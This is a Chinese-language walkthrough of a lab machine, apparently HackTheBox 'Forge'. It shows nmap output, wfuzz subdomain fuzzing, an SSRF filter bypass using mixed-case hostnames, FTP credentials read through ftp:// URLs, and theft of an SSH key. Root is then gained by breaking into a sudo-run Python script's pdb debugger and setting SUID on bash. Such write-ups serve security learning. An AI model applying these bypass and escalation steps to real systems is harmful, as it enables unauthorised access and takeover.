前言
这机器还算简单。留下两个问题:
1.gobuster能否过滤输出。再爆破vhost时有很多30x结果,然后改换了wfuzz
2.ftp在连接时能否不进交互式shell执行命令呢?如果可以再这题的场景下就方便了。
打点
ORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
修改host把forge.htb配上。访问web端口.只有一个文件上传点。能上传任意文件(本地上传和从url上传),但不清楚这站点用的是啥。传了php,jsp都不解析的样子。那只能扫一扫目录和子域名了。
wfuzz -c -u "http://forge.htb/" -H "Host:FUZZ.forge.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt
得到一个子域名admin.forge.htb,host文件里给它加上访问之
尝试加上X-Forwarded-For:127.0.0.1绕过失败。
前面有个从url上传功能,我们把子站这页传上去试试
妙就妙在能大小写绕过,这里存在一个ssrf漏洞!!!
http://aDmin.forGe.hTb/
访问显示图像损坏,那就直接curl看报文。
继续按这个方法获取/announcements目录的内容
得到ftp账密user:heightofsecurity123!
得到/upload目录下api用法,其支持ftpc,ftps....(明摆的暗示)
http://aDmin.forGe.hTb/upload?u=url
结合起来,我们尝试读取
ftp://user:heightofsecurity123!@FORGE.HTB
也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥
ssh -i id_rsa user@10.10.11.111
登录成功,用户名user是试的ftp的。
提权
sudo -l发现有一个nopasswd项
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
看下这个python文件
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
先跑起来,再nc连接端口(起两个ssh窗口)
发现option输不合法的内容比如ls会触发pdb调试。但是pdb模式下是可以执行python代码的。于是直接给bash加上suid提权成功。